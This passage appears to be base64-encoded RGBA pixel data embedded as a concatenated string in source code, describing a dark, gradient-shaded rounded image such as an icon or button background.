/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAABQAA + ABMAAAAvAAAAUwAAAJMAAADNAAAA7wAAAP8AAAD/AAAA/wAAAP8AAAD/BQUF/xEREf8fHx//Kioq/y8v + L/85OTn/Ozs7/zs7O/85OTn/Ly8v/ykpKf8fHx//ERER/wUFBf8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA + APMAAADbAAAAuwAAAJUAAAB3AAAAUQAAAC8AAAATAAAABf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAABQAAABMAAAAvAAAAWQAAAKsAAADlAAAA/wAAAP8AAAD/AAAA/wsL + C/8nJyf/QEBA/1VVVf9nZ2f/cHBw/3R0dP93d3f/eHh4/3t7e/98fHz/fHx8/3t7e/94eHj/d3d3/3R0 + dP9wcHD/Z2dn/1RUVP8+Pj7/Jycn/wsLC/8AAAD/AAAA/wAAAP8AAAD/AAAA7QAAAM0AAACfAAAAfQAA + AFUAAAAtAAAAEQAAAAX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAA0AAAAnAAAAVQAA + AK0AAADtAAAA/wAAAP8AAAD/Dg4O/y8vL/9RUVH/a2tr/3V1df95eXn/d3d3/3R0dP9zc3P/c3Nz/3Jy + cv9ycnL/cnJy/3Fxcf9xcXH/cnJy/3Jycv9ycnL/c3Nz/3Nzc/90dHT/d3d3/3l5ef91dXX/a2tr/1FR + Uf8uLi7/Dg4O/wAAAP8AAAD/AAAA/wAAAPMAAADRAAAAoQAAAHsAAABPAAAAJQAAAAv///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAUAAAAZAAAAPwAAAJ8AAADtAAAA/wAAAP8BAQH/Hh4e/0pKSv9ra2v/dXV1/3V1 + df9ycnL/cHBw/29vb/9vb2//cHBw/3BwcP9wcHD/cHBw/3BwcP9wcHD/cHBw/3BwcP9wcHD/cHBw/3Bw + cP9wcHD/cHBw/3BwcP9vb2//b29v/3BwcP9ycnL/dXV1/3V1df9paWn/SEhI/x4eHv8AAAD/AAAA/wAA + AP8AAADzAAAAywAAAJkAAABvAAAAPQAAABcAAAAF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAJAAAAJQAAAHMAAADbAAAA/wAA + AP8AAAD/IyMj/1RUVP9vb2//dHR0/29vb/9ubm7/bW1t/25ubv9ubm7/bm5u/25ubv9ubm7/bm5u/25u + bv9ubm7/bm5u/25ubv9ubm7/bm5u/25ubv9ubm7/bm5u/25ubv9ubm7/bm5u/25ubv9ubm7/bm5u/25u + bv9tbW3/bm5u/3BwcP90dHT/b29v/1JSUv8hISH/AAAA/wAAAP8AAAD/AAAA6QAAALcAAACJAAAAVQAA + ACUAAAAJ////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAAAADwAAADMAAACnAAAA+QAAAP8AAAD/GRkZ/05OTv9vb2//cHBw/2xsbP9sbGz/bGxs/2xs + bP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xs + bP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9sbGz/bGxs/2xsbP9tbW3/cXFx/29v + b/9NTU3/GBgY/wAAAP8AAAD/AAAA+QAAANMAAACbAAAAaQAAADMAAAAP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAAABUAAABNAAAAzwAAAP8AAAD/CAgI/zw8 + PP9oaGj/b29v/2pqav9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lp + af9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lp + af9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/ampq/25ubv9oaGj/Ojo6/wgICP8AAAD/AAAA/wAA + AOcAAACtAAAAeQAAAD8AAAATAAAAA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAA + AAMAAAAXAAAAZwAAAOcAAAD/AAAA/xoaGv9XV1f/bW1t/2hoaP9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2Zm + Zv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2Zm + Zv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2ZmZv9mZmb/ZmZm/2Zm + Zv9mZmb/ZmZm/2hoaP9tbW3/V1dX/xoaGv8AAAD/AAAA/wAAAPEAAAC7AAAAgwAAAEcAAAAXAAAAA/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAADAAAAFwAAAHkAAADxAAAA/wAAAP8wMDD/ZGRk/2lp + af9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2Rk + ZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2Rk + ZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9kZGT/ZGRk/2RkZP9paWn/ZGRk/zAw + MP8AAAD/AAAA/wAAAPcAAADFAAAAiwAAAEsAAAAXAAAAA////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAA + ABcAAAB7AAAA9wAAAP8FBQX/Pj4+/2dnZ/9jY2P/YWFh/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2Ji + Yv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2Ji + Yv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2JiYv9iYmL/YmJi/2Ji + Yv9iYmL/YmJi/2JiYv9iYmL/YmJi/2FhYf9jY2P/Z2dn/z4+Pv8FBQX/AAAA/wAAAPsAAADHAAAAiwAA + AEsAAAAXAAAAA////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAVAAAAewAAAPcAAAD/CgoK/0dHR/9mZmb/YGBg/19f + X/9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2Bg + YP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2Bg + YP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/2BgYP9gYGD/YGBg/19f + X/9gYGD/ZmZm/0dHR/8ICAj/AAAA/wAAAPsAAADHAAAAiQAAAEcAAAAT////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAADwAA + AHEAAAD3AAAA/wsLC/9MTEz/Y2Nj/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11d + Xf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11d + Xf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11d + Xf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/XV1d/11dXf9dXV3/Y2Nj/0tLS/8LCwv/AAAA/wAA + APsAAADDAAAAgwAAAD8AAAAP////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAAkAAABVAAAA8QAAAP8ICAj/SUlJ/19fX/9aWlr/Wlpa/1pa + Wv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1pa + Wv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1pa + Wv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1paWv9aWlr/Wlpa/1pa + Wv9aWlr/Wlpa/1paWv9aWlr/YGBg/0lJSf8HBwf/AAAA/wAAAPkAAAC5AAAAeQAAADEAAAAJ////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAFAAAAMwAA + AOMAAAD/BQUF/0JCQv9dXV3/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dX + V/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dX + V/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dX + V/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/V1dX/1dXV/9XV1f/XV1d/0FB + Qf8EBAT/AAAA/wAAAPEAAACrAAAAaQAAACUAAAAF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAABcAAADBAAAA/wAAAP82Njb/W1tb/1VVVf9VVVX/VVVV/1VV + Vf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VV + Vf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VV + Vf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VV + Vf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/W1tb/zU1Nf8AAAD/AAAA/wAAAOUAAACbAAAAVQAA + ABf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAALAAAAhwAA + AP8AAAD/JiYm/1dXV/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NT + U/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NT + U/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NT + U/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NT + U/9TU1P/VlZW/yUlJf8AAAD/AAAA/wAAANEAAACHAAAAPQAAAAv///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAABQAAAEEAAADzAAAA/xQUFP9QUFD/UlJS/1BQUP9QUFD/UFBQ/1BQ + UP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQ + UP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQ + UP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQ + UP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9QUFD/UFBQ/1BQUP9SUlL/UFBQ/xMTE/8AAAD/AAAA+wAA + ALcAAABtAAAAJQAAAAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAATAAAAxwAA + AP8FBQX/QUFB/1BQUP9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01N + Tf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01N + Tf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01N + Tf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01NTf9NTU3/TU1N/01N + Tf9NTU3/TU1N/01NTf9QUFD/QEBA/wUFBf8AAAD/AAAA6QAAAJcAAABNAAAAEf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAABQAAAHEAAAD/AAAA/ykpKf9PT0//SkpK/0pKSv9KSkr/SkpK/0pK + Sv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pK + Sv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pK + Sv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pK + Sv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9KSkr/SkpK/0pKSv9PT0//KCgo/wAA + AP8AAAD/AAAAyQAAAHsAAAAtAAAABf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAbAAAA4wAA + AP8ODg7/RkZG/0hISP9HR0f/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hI + SP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hI + SP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hI + SP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hISP9ISEj/SEhI/0hI + SP9ISEj/SEhI/0hISP9ISEj/R0dH/0hISP9GRkb/Dg4O/wAAAP8AAADzAAAAoQAAAFUAAAAT////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAABQAAAH8AAAD/AAAA/zIyMv9ISEj/RERE/0VFRf9FRUX/RUVF/0VF + Rf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VF + Rf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VF + Rf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VF + Rf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RUVF/0VFRf9FRUX/RERE/0hI + SP8xMTH/AAAA/wAAAP8AAADRAAAAfQAAAC0AAAAF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAZAAAA4QAA + AP8RERH/Q0ND/0NDQ/9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JC + Qv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JC + Qv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JC + Qv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JC + Qv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/Q0ND/0NDQ/8RERH/AAAA/wAAAPUAAACfAAAATwAA + ABH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAG8AAAD/AQEB/y4uLv9CQkL/Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//QkJC/y4uLv8AAAD/AAAA/wAAAMkAAABzAAAAJf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAALAAAAywAA + AP8ODg7/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8 + PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8 + PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8 + PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8 + PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/zw8PP88PDz/PDw8/w0NDf8AAAD/AAAA7QAA + AJEAAAA/AAAAC////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAEEAAAD9AAAA/yQkJP89PT3/OTk5/zk5Of85OTn/OTk5/zk5 + Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5 + Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5 + Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5 + Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5Of85OTn/OTk5/zk5 + Of85OTn/OTk5/zk5Of89PT3/IyMj/wAAAP8AAAD/AAAAtQAAAF8AAAAX////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAADAAAAlwAA + AP8FBQX/MjIy/zc3N/82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2 + Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2 + Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2 + Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2 + Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zY2Nv82Njb/NjY2/zc3N/8yMjL/BAQE/wAA + AP8AAADZAAAAewAAACkAAAAD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAA0AAADdAAAA/xQUFP81NTX/MjIy/zIyMv8yMjL/MjIy/zIy + Mv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIy + Mv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIy + Mv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIy + Mv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIyMv8yMjL/MjIy/zIy + Mv8yMjL/MjIy/zIyMv8yMjL/MjIy/zU1Nf8SEhL/AAAA/wAAAPEAAACVAAAAPwAAAAn///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAPQAA + AP0AAAD/ISEh/zIyMv8wMDD/MDAw/zAwMP8wMDD/MDAw/zAwMP8wMDD/MDAw/zAwMP8wMDD/MDAw/zAw + 